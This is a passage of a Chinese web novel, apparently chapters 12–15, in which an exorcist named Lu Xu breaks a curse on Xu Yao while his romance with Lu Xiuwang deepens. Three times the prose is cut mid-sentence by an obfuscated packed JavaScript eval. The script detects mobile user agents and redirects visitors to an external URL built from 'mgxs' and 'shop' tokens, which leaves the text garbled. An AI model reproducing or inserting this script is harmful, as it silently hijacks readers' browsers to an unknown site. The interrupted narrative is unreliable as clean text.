他叹了口气:“这件事很麻烦,你得做好准备。” 经过这两天的挣扎,许瑶已经收起了无用的悲伤,坚定地点了点头。 老郑带着几人穿过客厅,来到后院。 这是一个不大的院子,三面围着墙,地面铺着青石板,很干净,院子中央已经搭好了一座简易法坛,用红布铺了一张长桌,桌上摆着常用的器材,还有几样陆叙之前让老郑准备的法器。 桌子正前方的地面上,用白石灰粉画了一个圆形的法阵,阵中有北斗七星图案,周围还零散地标注着一些复杂的符号。 陆叙走到法坛前,一样样检查桌上的物品。 老郑指着桌角的一个木盒:“护身符是找马先生画的,朱砂是正宗的辰州砂,清油也是新换的,灯芯我特地用朱砂泡过,招魂水的符也备好了,就等你开坛。” 陆叙打开木盒,里面躺着一张黄色的符纸,陆修望好奇地凑上前打量。 “这是什么?” 陆叙看了陆修望一眼,表情无奈:“这是太乙救苦天尊敕令,我知道你对这些感兴趣,但现在不是时候。” 陆叙把符纸放回盒子里,转身看向陆修望和许瑶:“你们这俩不省心的玩意先在旁边坐着,别乱走动。” 陆修望看着他那副故作成熟的样子,忍不住偷偷笑了一下。两人在院子角落的长凳上坐下,许瑶手还有点抖,看起来很紧张,陆修望扫了她一眼:“抖什么,他之前去你家驱鬼比这凶险多了。” 许瑶勉强挤出一个笑容,没说话。 陆叙脱下外套递给陆修望,然后从背包里翻出一件叠得整整齐齐的素色长衫,浅灰色,没有任何花纹。 “你还玩上换装play了?”陆修望有点意外。 “做法事得穿素衣,这是规矩。”陆叙边说边把长衫套上,“你少在这胡言乱语,小心被雷劈。” 陆修望没接话,视线却不自觉地盯着陆叙,这人平时很注重穿搭,但此刻换上素衣,那张本来带着点轻佻的脸绷得很紧,眉眼间的散漫完全消失,取而代之的是一种陆修望从未见过的肃穆。 但就在这种严肃的氛围下,陆修望发现自己心里居然多了几分怪异的想法。 陆叙走到院子一角的水池,捧起冷水往脸上泼,水滴顺着下巴滴落,抹了一把脸,又弯腰净手,做完这些,他站直身体,闭上眼深吸了一口气。 随后,他走回法坛前,从桌上拿起一个小瓷瓶,拧开盖子,倒出一些透明的液体在手心,然后用手指蘸着液体,在法坛四周的地面上洒了一圈。 “太上台星,应变无停。驱邪缚魅,保命护身。慧明净,心神安宁。三魂永久,魄无丧倾。急急如律令。”??“……”声音很低,但每个字都清晰有力,“天地自然,秽气分散。洞中玄虚,晃朗太元……” “弟子诚心奉请当方土地、山川社稷,护持今宵法事,勿使外魔干扰。” 陆修望听不太懂他在念什么,但能感觉到那些话像是有某种韵律,非常庄重,随着陆叙的声音在院子里回荡。 洒完符水,陆叙从桌上拿起三炷香点燃,举过头顶躬身一拜。 “弟子陆叙,今夜开坛,恭请三清祖师,太乙救苦天尊,临坛护法。”他的声音很沉,一字一顿,“弟子无门无派,不在名册,今诚心奉请,为许瑶许怀解厄消灾,斩除邪锁,还其本命。若有冒犯,还请见谅。” 说完,他把香插进香炉,又深深鞠了一躬。 陆修望看着陆叙的背影,他现在感觉到了,这个平时满嘴玩笑话爱搞恶作剧,看起来很幼稚的人,此刻认真、虔诚,还带着一种对未知的——敬畏。 陆叙直起身,从木盒里取出那张太乙护身符。 “老郑,把灯关了。” 院子死角灯灭,瞬间陷入黑暗,只剩下法坛上的蜡烛在夜风中摇曳。 陆叙举着符纸凑到烛火前,火光把符纸照得通透,能清楚地看到上面密密麻麻的符文,他抬手把符纸点燃,火苗从符纸底部烧起,慢慢往上蔓延,陆叙没有松手,任由火焰烧到指尖,才把燃烧的符纸丢进香炉里,这一步是焚符护体。 烟雾升起,带着一股淡淡的甘甜味道。 陆叙这才转身看向许瑶: “过来。” 陆叙指着地上那个画着北斗七星的法阵:“躺进去,头朝北。” 许瑶照做,她躺在冰凉的石板地上,手紧紧抓着衣角,极力克制住自己的紧张不安。 陆叙从桌上拿起一盏小小的油灯,放在许瑶头顶。灯芯是朱红色的,点燃后,火苗跳动了几下,很快稳定下来。 “这是返魂灯。”陆叙轻声安慰她,“灯不灭,魂不散。你别乱动,也别害怕。” 许瑶点点头。 陆叙又拿起一个小碗,里面装着半碗透明的液体,他从许瑶脖子上取下一根细细的红绳,这是带着许瑶指尖血的护身符,陆叙前天夜里帮她准备的。 红绳放进碗里,又从桌上拿起一张符纸,点燃后丢了进去,符纸在水面上燃烧,很快化成灰烬沉入水底。 陆叙端起碗,放在许瑶脚边。 “招魂水。”他说,“一会你可能会很难受,忍着点。” 许瑶攥紧拳头,整个人很紧绷,但为了自己的哥哥,她必须克服这种未知的恐惧。 陆叙走回法坛前,从桌上拿起一张黄色的符纸,深吸一口气,又拿起一支朱砂笔,这是他第一次在没有任何人护法,只有一个啥也不懂的护身符的情况下,独自完成仪式,说不紧张是不可能的。 他低头在符纸上落下第一笔,心里有点慌,但手却很稳,符头写下“太乙救苦天尊青玄上帝敕”九个大字,笔画苍劲有力。 符腹画上太乙天尊的化身,手持杨柳枝,坐九色莲花座上,枝头洒落甘露,那些线条在烛光下像是活了过来,每一笔都带着某种说不清的气劲。 陆叙的额头开始渗出汗珠,但他不敢停笔。 又在符膽的位置写下“返魂归命”“断邪锁”几个隐讳的字,笔画之间相互勾连,形成一个复杂的图案。 符尾画上一条黑色的线,代表因果锁链,然后用笔触在黑线中央画了一道裂痕。 符纸画完,陆叙松开笔,手腕已经酸得发麻。 他举起符纸,烛光照透符纸的瞬间,许瑶似乎看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099175|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符纸上隐隐泛起一层金光,很淡,转瞬即逝。 陆叙盯着符纸看了几秒,满意地点了点头,然后把符纸放在桌上。 老郑立刻递过来一根桃木剑。 陆叙接过剑,走到许瑶身边,单手持剑,剑尖朝下,对准许瑶命宫。 “太乙救苦天尊,青玄九阳上帝,寻声赴感,普度众生……”他的声音低沉却有力,“今弟子陆叙,奉三清敕命,雷霆号令,为生人许瑶亡魂许怀,解厄消灾,断除冤业,拔罪超生。” “……” 话音落下的瞬间,陆叙抬手,把那张符纸点燃,丢进香炉。 火焰腾起,烟雾升腾。 许瑶突然全身抽搐,嘴里发出一声压抑的痛呼。 陆叙也似失力,整个人往前踉跄了一下。 陆修望吓了一跳,刚想上前,被老郑拦住。 “别过去。”老郑低声说,“会坏事。” 许瑶的身体弓成一团,脸上的青筋暴起,额头上大颗大颗的冷汗滚落,她张着嘴,像是想呼吸,但喉咙里只能发出嘶哑的喘息声。 陆叙没停下,举起桃木剑,在许瑶泥丸宫画了一个圈。 “……一切災厄、厌胜借命、咒诅巫蛊、鬼魅精邪,速速消散!” “冤亲债主,速离速散! 魂魄归元,命数返本! 急急如太乙救苦天尊律令!” 话音刚落,许瑶猛地喷出一口酸水,整个人像是被抽空了力气,瘫软在地上。 陆叙立刻蹲下身,端起那碗招魂水,对着许瑶的面门和心口洒了几下。 水珠落在许瑶脸上,她的眼皮颤了颤,缓缓睁开眼。 “陆……先生……”她的声音虚弱,像是用尽了全身的力气,“我刚刚看到有……” “别说话。”陆叙打断她,“还没结束。” 他走回法坛前拿起第二张符纸。 符头快速写上“太乙招魂返命”,符腹画太乙天尊手持招魂幡,符膽写上“魂归本体”“命数还元”“三魂七魄复合”,符尾画北斗七星接引光束。 画完,没有丝毫停顿,直接点燃丢进香炉。 “太乙救苦天尊敕!”他喝道,“寻声救苦,普度亡灵!三魂杳杳,七魄茫茫,随旛接引返家堂!” 陆叙双手合十,中指相抵,掐了一个陆修望看不懂的手诀。 “三魂杳杳,七魄茫茫……”陆叙继续重复着,“随旛接引返家堂!许瑶、许怀命数零落,速归本体!借运邪气,尽数返还!” 他的声音几乎沙哑:“魂魄归元,命光重聚!急急如律令!” 院子里突然刮起一阵风。 那风像是从四面八方涌来,带着一股冰冷刺骨的寒意,把院子里的烛火吹得摇摇欲灭。 老郑低下头,双手合十,嘴里念念有词。 许瑶一脸震惊,剧痛让她意识恍惚,但也就是这失神的时刻,她放佛看到一丝微弱的光被什么东西拉扯着,往她眉心汇聚。 许瑶的脸上浮现出一种痛苦的表情,嘴唇发紫,整个人像是快要窒息。 陆叙咬着牙,手上的手诀掐得更紧。 在场只有陆修望一脸茫然。 风越来越大,院子里的东西开始被吹得乱晃,也就在这时,许瑶突然睁大眼睛,嘴里发出一声尖叫。 不是痛苦的叫声。 是解脱。 下一秒,风停了,院子里恢复平静,烛火重新稳定下来。 许瑶的身体瘫软在地上,胸口剧烈起伏,大口大口地喘着气。 陆叙松开手,整个人晃了一下,差点站不稳。 陆修望快步上前扶住他:“你没事吧?” “没事。”陆叙摆摆手,声音却失了力气,“结束了,扶她起来吧。” 老郑把许瑶扶起来,许瑶脸色苍白,但眼神比之前清明了很多。 “感觉怎么样?”陆叙问。 许瑶喘了口气:“我……我刚刚看到了,好像有一团金光在我眼前晃动……” 老郑又对着法坛拜了拜,嘴里念念有词,这是天尊化身临世,帮助世人消灾解厄。 “那就对了。”陆叙松了口气,“厌胜已破,你被借走的命数回来了一部分,剩下的,得慢慢养。” 他转身走回法坛前,双手合十,对着香炉深深鞠了一躬。 “志心皈命礼,东方长乐界,东极青华大帝,太乙救苦天尊……”他声音有点虚,但却异常虔诚,“多谢天尊慈悲,解厄拔苦。弟子陆叙,叩谢。” 老郑走过来,拍了拍他的肩:“许瑶你不用担心,今晚我会亲自守在她门外,不会出任何差池。 陆叙郑重地冲他拜了拜:“多谢了,老郑。” 老郑连忙把他扶起来:“客气什么,你的事就是我的事。” 13. 第 13 章 陆修望把陆叙扶到车里,忍不住问:“你这体质是不是有问题,怎么每次都这样?” “你懂个屁。”陆叙强扯出一个不屑的笑,装得跟没事人似的,“破厌胜,得焚香上表、念咒请神,让天尊的威灵附坛场,借他的正气冲散阴煞,这种事得靠心神做桥,沟通天地,肯定会有损耗和反噬。” “这么帮她,值得吗?” “不是,你这人怎么老爱问值不值得?”陆叙无语地扫了他一眼,“我可以不帮她,就像我也可以不帮你。但我有强迫症,凡事都想知道个因果。” “我底子好,平日里帮你们这些蠢人做事还积了点德,这点损耗算什么?搁别人,早就折损阳寿趴地上起不来了,我呢?回去喝点药睡一觉就满血复活了。” 陆修望还想再说,陆叙打断他:“闭嘴,我现在累了,不想和你说话。” “……” 车子停在陆家老宅门口,陆修望扶着陆叙下车,这人额头上挂着细密的汗珠,整个人靠在他身上,情况看起来更严重了。 “还行吗?”陆修望问。 陆叙声音虚弱,但语气随意:“还死不了。” 陆修望看着他这副逞强的样子,忍不住半开玩笑地问:“这次还需要我抱你吗?” 陆叙冷哼:“当我的人形担架上瘾了是吧?” 陆修望没接话,轻笑一声直接弯腰,一手穿过陆叙的膝弯,一手环住他的背,把人打横抱了起来。 陆叙愣了一秒,忍不住开口抱怨:“操,你吓死我了!” “别动。”陆修望抱紧了他,大步往里走。 陆叙的声音带着点虚假的恼怒:“陆修望,我就知道你对我有什么图谋。” 陆修望脚步顿了一下。 “我告诉你啊,如果你趁着我身体虚弱行不轨之事……”语气里那点得意再也藏不住,“我过后肯定狠狠报复你。” 陆修望低头看了他一眼。 这人状态差成这样,但不知道出于什么目的,还有心情在这耍嘴皮子。 陆修望本能地想反驳,他哪有什么图谋,他只是同情心泛滥。 但话到嘴边,他突然说不出来。 因为他突然发现,陆叙说的好像也没毛病。 确实有点……不一样。 从什么时候开始的? 陆修望说不清楚。 “你说是就是吧。”陆修望最后只说了这么一句,语气带着点无奈,掩盖住自己的真实想法,只表现得像是不想和他计较。 看到陆修望吃瘪,陆叙满意地笑了一声,也没再说话,呼吸渐渐平稳下来。 陆修望抱着他穿过庭院,走进客房,房间里很暖和,他把人轻巧地放在床上,又简单地给他擦了一下脸,这人闭着眼,似乎睡了过去,脸颊陷入枕中,显得愈发瘦削。眉形凌厉,眉尾微微上挑,睫毛浓密卷翘,在眼睑下投出一小片颤动的阴影。鼻梁笔直,线条分明,那颗位于鼻梁侧面的小痣,在惨白的肤色衬托下格外扎眼,下颌线条锋利,唇形却饱满清晰,只是此刻毫无血色。 整张脸看起来很锐利,却又因为那过分精致的五官,透出一种脆弱的美感。 陆修望盯着他看了许久,喉咙发紧。 很像狐狸,且有种奇怪的熟悉感。 不是因为这段时间的相处。 是一种更深层的,说不清道不明的感觉,像是……他们很久很久以前就认识了。 陆修望甚至不由自主地开始想象上次那个梦境,白狐变成陆叙,带着他走进山里。 那些画面转瞬即逝,陆修望想抓住,却怎么也抓不住。 他揉了揉太阳穴,觉得陆叙可能给自己施了什么术法。 前世?缘分? 这种事他以前从来不信。 但此刻,看着床上这个人,他突然觉得,也许真的有。 他们上辈子一定有过什么,或者说一些别的什么缘分。 否则他不会在面对陆叙的时候,心情这么复杂。 想靠近,又不敢靠得太近,想关心,又不敢太明显。 陆修望深吸一口气,不敢再打扰他,转过身准备离开。 但就在他转身的瞬间,一只冰凉的手拉住了他的手指。 陆修望愣住,回过头。 陆叙闭着眼,手上没什么力气,但却紧紧抓着他不肯松开。 “你……”陆修望开口。 “你能睡我旁边吗?”陆叙的声音很轻,却重重砸到陆修望耳朵里。 陆修望的心脏猛地收缩:“我……” 他张了张嘴,不知道该说什么。 陆叙侧过脸,嘴唇微微动了动,有点不好意思:“太冷了,需要一点童子身上的阳火……” 陆修望假作关心,摸了摸他的脸颊:“没发烧,你先休息,我去洗漱。” 他走进卫生间冷静了好一会,才掀开被子,在陆叙旁边躺下。 两个人之间隔着一段距离,陆修望侧着身,看着陆叙的侧脸。 这人闭着眼,眉头依然紧皱,身体微微蜷缩,陆修望想,他看起来很冷。 犹豫了一下,他伸出手,想把被子往陆叙身上拉一拉。 但手刚碰到被子边缘,他突然鬼迷心窍地想,要不……抱住他? 这个念头一冒出来就无法控制,陆修望自己都吓了一跳。 他盯着陆叙看了几秒,最后还是撑起身体,一只手撑在陆叙旁边,两人距离很近,陆修望能清楚地听到他微弱的呼吸声。 也就在这时,陆叙突然睁开了眼。 那双眼睛里满是疲惫和疑惑,陆修望的心脏又狠狠跳了一下。 “你又要干嘛?” “我……”陆修望顿了顿,装作若无其事地打量着陆叙的脸:“你嘴唇很白,还在发抖,感觉你很冷。” 他停了一下,低声问:“需要我抱着你睡吗?” 陆叙盯着他看了几秒,没说话。 陆修望以为他要拒绝,刚想收回手,陆叙突然翻了个身,整个人往他怀里靠,脸贴在他胸口,手抓着他的衣服下摆。 “你还挺有当老公的自觉……”陆叙声音闷在他胸口,含糊不清,“那就抱着吧,反正你阳气重,我也不会影响你。” 陆修望愣了一秒,没听懂他什么意思,只是嘴角情不自禁扯出一个愉悦的笑容。 他抬起手环住陆叙的身体,把人紧紧抱在怀里。 陆叙的身体很冷,像一块冰,寒意顺着接触的地方传来,可奇怪的是,陆修望却感觉一股灼热从心口蔓延开,让他的心跳不自觉地加速。 他想起陆叙挑衅他时对他做出的评价,重欲、偏激、暴躁。 陆叙说自己看人从来不会看错,陆修望最开始对这个说法很怀疑,因为前二十年他从未遇到过什么让自己想要占有的东西,无论是人、物,还是钱,在他眼里都不过如此,对什么都提不起兴趣,什么都无所谓,对什么都产生不了欲望。 直到现在。 陆修望垂眸看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099176|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着陆叙那一小半侧脸,忍不住将手贴了上去,指尖下是对方冰凉的肌肤,一种前所未有的情绪在胸腔里翻涌,强烈得让他几乎喘不过气——他想让这个人属于自己。 这种念头来得汹涌且无法理解。 他想,陆叙看出来的那些命格里的东西,之前只是沉睡在他身体里,而现在,陆叙唤醒了它。 “睡吧。”陆修望低声自言自语。 等许瑶的事情结束,他想好好问问陆叙,关于前世今生,或者是所谓的一见钟情。 陆叙醒来已经是下午,他从床上坐起来,状态恢复得很好。走到客厅,老郑已经把许瑶送回来了,昨晚没出岔子,只是由于解厌胜的后遗症,对方看起来病态又虚弱,精神也不太好,但眼睛很亮,气场看起来很不错。 “陆先生,你好点了吗?”许瑶看见他,立刻站起来,“陆……你老公刚让人准备了吃的,你要不要先吃点?” “许瑶。”陆叙点点头,随意吃了点,“接下来回你家,你聪明点,多套话,要尽快把施咒之人的信息问出来。” 许瑶犹豫了一下:“那你呢,我一个人,怕把事情搞砸。” “我会陪你一起,但得找个借口。” “什么借口?” 陆叙想了想:“就说我是你男朋友,回去参加你哥葬礼。” 许瑶脸一红:“啊?” “怎么,不行?”陆叙挑了挑眉。 “也、也不是不行……”许瑶移开视线小声说,“就是有点突然。” 正说着,门被推开,陆修望走了进来,头发还有点湿,看起来是刚洗完澡。 “你们讨论什么呢?”陆修望走过来坐下。 “在想怎么去许瑶家查情况。”陆叙说。 陆修望看了他一眼,又看了看许瑶,陆叙继续吃饭,陆修望也不说话,就这么盯着他看,陆叙被他看得有点烦,忍不住问:“你看什么?” “我也去。”陆修望说。 陆叙愣了一下:“这事与你无关,你去干嘛?” “闲着。”陆修望靠在椅背上,“而且这事我也牵扯进来了,你处理这事的时候我全程在场,也算是沾了因果。” 陆叙皱起眉,盯着他看了几秒,他不知道陆修望在乱说什么,陆修望充其量就是个人形护身符,哪来的什么因果? 但陆修望那表情,明显是打定主意要跟着去。 陆叙也懒得和他争,反正有个这种大少爷跟着,处理事情会方便很多,对他来说也是好事。 “行吧,那你也去。” 他看向许瑶:“我是你男朋友,担心你的身体,所以送你回家,记住,别露馅。” 许瑶点点头。 陆修望闻言立刻皱眉:“那我呢?” 陆叙转头看他,上下打量了一番:“你不是我老公吗?” 陆修望:“……” 陆叙冷笑一声:“怎么,你也想当她男朋友?” 陆修望咬了咬牙,心说你还知道我是你老公? “给我安排个角色。”他说。 陆叙手指在桌上敲了敲:“那你当我保镖吧,我是许瑶的暴发户男友,你就是我雇的保镖。” 陆修望的脸色更难看了。 陆叙看他表情不太好只说:“去不去随你,总不可能让我当你保镖吧?”他补充,“你怎么看也不是需要人保护的,而且我这么儒雅随和,我当保镖不合理。” 陆修望深吸一口气,最终还是点了点头:“行。” 14. 第 14 章 安排完任务,三人换了身行头。 陆修望让人准备了一身廉价的黑色休闲西装,墨镜遮住那张过分英俊的脸,整个人气质看起来可靠又冷峻,除了太年轻,确实有几分保镖的架势。 陆叙和他借了几条真货奢侈品配饰,虽然也是一身黑,但穿得很有搭配感,宽松的黑色衬衫敞开两个扣子,链子在领口若隐若现,头发被他故意抓得蓬松凌乱,配上那张本就有点玩世不恭的脸,说是四处招摇的二世祖也确实说得过去。 他对着镜子左看右看,越看越觉得好玩。 “配合一下。”他凑近陆修望,把手机举了起来。 陆修望皱着眉,显然很不适应镜头:“乱拍什么啊?” “当保镖就得有保镖的样子。”陆叙板起脸,虚踢了他一脚,“老板的命令都不听了吗?” 嘴上这么说着,人已经搂住陆修望的肩,随意拍了几张:“诶,还挺像那么回事。” 他翻看照片,又觉得不够满意,拉着陆修望换了好几个角度,陆修望一脸无奈地配合他,最后实在忍不住了:“你不是要做正事吗?” “这也是正事,你没工作过你不懂,工作得留痕。”陆叙干脆靠在陆修望怀里,摆出一副被保护的姿势,这次手机怼得很近,陆修望瞥见镜头里陆叙满是笑意的脸,愣了愣神。 等陆叙胡闹完,陆修望终于忍不住开口:“发来。” “什么?” “工作照,发来我检查一下,我怕你偷偷拍我丑照。” “你把我当什么人了?”陆叙冷哼一声,还是把照片发了过去,不忘叮嘱他,“别往社交平台发,影响我专业的形象。” “你还有专业形象?” “停停停,你这话什么意思?”听他这话,陆叙不乐意了,推了他一把,“信不信我现在就开除你?” 陆修望刚抓住他作乱的手腕,门口就传来脚步声。 许瑶换了一身黑色的休闲服,站在门口等他们,整个人看起来憔悴又虚弱,想到后续回家以后要面对的一切,她的眼睛渐渐泛红,那种真实的悲伤和无助无法遮掩。 陆叙看见她,刚才还嬉皮笑脸的表情瞬间收敛。他走过去,抬手在她肩上轻轻拍了两下:“走吧。” 声音很轻,却带着点安抚的意味,许瑶习惯性想拉住他的手臂,看到旁边站着的满脸阴沉的陆修望,又讪讪地松开了。 陆修望车开得飞快,陆叙坐在副驾驶,打量着车内配饰,忍不住问:“让你找一辆低调点的,你这是干什么?” “这就是最差的。”陆修望瞥了他一眼,又补充,“平时就家里保镖开。” “最差的……保镖开的……”陆叙叹息,“我真想和你们这些有钱人爆了。” “老公的就是你的,你生什么气。”陆修望随口安抚。 陆叙被噎了一下,转过头不说话了。 临近傍晚,陆修望把车停在许瑶家院子里,许瑶母亲已经等在门口,她看起来不过四十,保养得很好,但憔悴得很明显,看见许瑶的瞬间,眼泪夺眶而出。 “瑶瑶……”许母哽咽着把女儿抱进怀里,许瑶身体僵了一下,但还是抱住了母亲。 许父也从屋里走出来,头发梳得整齐,但脸上满是疲惫,眼睛里布满血丝。 “瑶瑶,你怎么出院了?”许父皱起眉,看起来很严肃,“身体还没好……” “我没事了,爸。”许瑶打断他,声音有点发紧。 她转身,指了指陆叙:“这是我男朋友,他不太放心我出院,就跟着我过来看看。” 陆叙往前走了一步,礼貌地点了点头,顺势递上陆修望家里招待客人的果篮:“叔叔阿姨好,我姓陆,是瑶瑶的男朋友,我们交往快一年了。” 许父看了他一眼,又看了看他身后一脸严肃的陆修望,皱起眉:“这位是……” “他啊,我保镖。”陆叙看了陆修望一眼,随口说。 许父愣了一下,眼里闪过一丝怀疑。许瑶接过话头,指了指停在院子里的车:“他刚拿驾照,家里人不放心他开车,找了个人送我们回来。” 许父看见那辆黑色轿车,虽然低调,但也能看出价格不菲,心里略一思索,这小子大概是个家里过度保护的暴发户少爷,看起来也没什么坏心思,表情这才缓和了一些,侧身让他们进了屋。 屋里装修得很精致,到处都摆着白色的菊花,很专业的布置,墙上挂着一张黑白照片,是个二十多岁的年轻男人,笑得很阳光,也没什么大问题。 陆叙微微松了口气,那个人没胆子在他们家里的灵堂动手脚。 看到照片,许瑶再也绷不住,放声大哭了起来,许母坐在她旁边,紧紧抱着她,但陆叙注意到,许瑶的表情有些僵硬,很显然对父母已经心存芥蒂。 等她情绪稍微平复了一些,陆叙作出关切的样子,走到许瑶面前蹲下,捧住她的脸给她擦了擦眼泪,又轻声示意她:“看遗体。” 许瑶怔了一下,很快回过神,抹了抹眼泪,轻声问:“哥哥现在……在哪儿?” 许母又哽咽起来:“在殡仪馆……还没到日子,还不能入土为安……” 许瑶握住母亲的手:“我想去看看哥哥。” “你身体……”许母说。 “没事,妈。”许瑶声音悲切,“我想见哥哥最后一面。” 许父沉默了一会,最终还是点了点头。 到了殡仪馆,工作人员带着一行人进了里间,许瑶走上前,颤抖着掀开白布,她伸手轻轻摸了摸哥哥的脸,哭得说不出话来。 陆叙站在旁边盯着那具尸体看,眉头紧紧皱着,眼里闪过一丝凝重。 陆修望注意到他的表情,不经意走到许父身边,掏出烟盒递过去:“叔叔,外面抽根烟?” 把许父支走,陆叙这才走上前,仔细观察着尸体的脸,又看了看脖子和手腕。 “陆先生……”许瑶小声问,“我哥哥他……” 陆叙没接话,快速将一个太乙守魄符塞到许怀袖子里,然后用手指轻点许怀天目、魄门、下魄,各点一下,借雷力震慑外力牵引。 “回去再说。” 许父等在门外,看到陆叙扶着情绪低落的许瑶出来,也没多想,交代了工作人员几句,带着三人回了家。 吃完饭已经临近十点,许瑶回房休息,许父把二人安排到了附近的酒店。 酒店是许父挑的,档次不错,陆修望站在房间里环顾一圈,还是忍不住皱起眉,这种环境对他来说确实算不上舒适,翻来覆去躺了一会,实在睡不着,干脆坐起来掏出手机。 陆叙今天发给他的照片还没来得及细看,他一张张翻过去,看着陆叙嬉皮笑脸的模样,心情也好了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099177|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。 最后一张是陆叙靠在他怀里,正脸怼着镜头,眉眼弯弯,整个人松弛又慵懒。而他自己,脸偏向一边,眼神不耐烦,嘴角却微微扬起。 陆修望盯着看了很久,手指在屏幕上划了几下,把照片放上了主屏幕。 也就在这时,屏幕上跳出来一条特别关注的新消息。 陆修望点开,陆叙的声音从听筒里传出来,对方明显憋着笑,声音非常刻意: “老公,我睡不着,有点害怕,你过来陪我。” 他点开又听了一遍,甚至能想象这个人脸上那副恶作剧得逞的表情,心里涌起一阵无奈,又有点说不出的甜蜜,最后还是站起来,套上外套出了门。 房间就在隔壁,门很快开了,陆叙换了身印着小狗图案的睡衣,头发有点乱,脸上挂着促狭的笑,陆修望感觉自己心脏跳得更快了。 “来得挺快啊。”陆叙靠在门框上,伸手拍了拍他的脸,“就这么担心我?” 陆修望笑了一声,抓住他的手,把他按在墙上,伸手帮他整理了一下头发,看对方一副顺从的样子,他刚要开口,余光瞥见坐在沙发上的许瑶。 “……” 场面有点尴尬,陆修望找了个椅子坐下,装作无事发生般开口:“今天下午,你们发现了什么?” 陆叙看了一眼许瑶,叹息一声,还是开口了:“你哥本来的运势里,今年确实流年不利,但大概率就是生一场大病,或者破一大笔财,这种劫,本来是有回旋余地的。” 许瑶惨笑一声:“是我父母害了他。” “对,因为那个人的邪术,算是直接掐断了他的护身气运线。”陆叙的声音很冷,“这就等于把一道小坎,强行升格成了天堑。命理上讲,这叫破势、夺机,已经不属于正常的因果流转了。” “更关键的一点,他是意外离世的,这是被外力强行造成的不应死之劫,正常寿数未尽、又不是自己业力招致的横死,也不是被施术人直接害死,鬼差是不能随意勾魂的。” 陆修望问:“不应死?是说他本不该死?” “不应死而死,魂魄荡散,道家度亡大本里,把这种间接被厌胜巫蛊之术害死的人归类于三十六伤亡、十八恶死,这类人死后形魂零乱不能聚,阴司死亡处理流程不能正常启动,魂魄下去之后没有暂存点,鬼差就不能按正常流程接引。” 许瑶焦急地问:“那现在怎么办?” “必须要牒天医 ,请全形诸司官将,全形昇度。”陆叙补充,“但在此之前,得尽快把那个邪修揪出来,他已经坐不住了。” “你哥神魂离体还没到七天,但散得异常迅速。”陆叙表情凝重,“我解了厌胜之后,他肯定受到了反噬,现在可能是怕夜长梦多,怕事情彻底圆不回来,粗暴地加速了收魂镇魂,连掩盖的后手都来不及做得太细。” 他指了指手机上的日期:“好在还没到十五,头七也未满,还有操作空间。” 陆修望盯着他:“要不我直接让人去查,更省事。” 陆叙看向许瑶:“这是你的家事,你怎么看?” 许瑶起身,冲两人鞠了一躬,又看向陆修望:“我现在就去和我父母沟通,如果不行,就麻烦你了,陆……陆先生。” 陆叙叮嘱她:“你机灵点,话别说太直,我怕你父母听不进劝,反倒把你自己搭进去。” 15. 第 15 章 许瑶离开后,房间里安静下来,陆修望走到陆叙旁边坐下,看他一副思索的样子,也没开口说话。 直到陆叙长叹一口气,陆修望才开口询问:“很棘手?” “倒不是棘手,”陆叙整个人瘫倒在沙发上:“就是麻烦。” “找到那个邪修,然后破阵,把许怀的魂魄拼凑完整,最后超度。”陆叙语气平淡,却带着点惆怅:“技术上来讲,不难。” 陆修望思考片刻,开始出馊主意:“我找人查一查,然后神不知鬼不觉把那人解决了不就行了,你还让许瑶回来这一趟干嘛?” 陆叙无语地撇了陆修望一眼,见陆修望越说越离谱,又把话头接了回来:“问题就在许瑶本人。” 陆叙顿了顿:“我让她去沟通,也是想让她弄清楚,她父母究竟是被人蒙蔽,以为只是借点多余的运势给儿子,还是本来就……” 本来就知道代价。 他没把话说完,但陆修望听懂了。 “我觉得他们本来就没把女儿看得和儿子一样重要。” “嗯。”陆叙点点头,“如果只是无知,那还有挽回的可能。但如果是后者……许瑶就得自己做选择了。” “这小姑娘没经历过什么挫折,但这些事,终归得她自己面对,我不能什么都帮她。”陆叙有点无奈,“她和父母的关系,她哥哥的死,这些都是她们家的因果报应,我不好插手,我能做的,就是把该做的做完,然后给她留点可选择的余地。” 陆修望侧头看向陆叙:“你老是瞎操心干嘛?” 陆叙把脸转向另一边,语气不屑:“哪有瞎操心,我说了,我有强迫症,拿人钱就得把事做好。” 陆修望没说话,这人明明就是在担心许瑶。 虽然看起来吊儿郎当,嘴上从来不饶人,不高兴就得怼他和许瑶几句,恨不得把所有客户都气死,但实际上,他比谁都细心,比谁都爱操心。 一个死人的魂魄,许家人看不见摸不着,陆叙大可以随口糊弄几句就了结这件事,反正也没人能验证真假。收了钱,转身就走,谁也怪不到他头上。 但他没有。 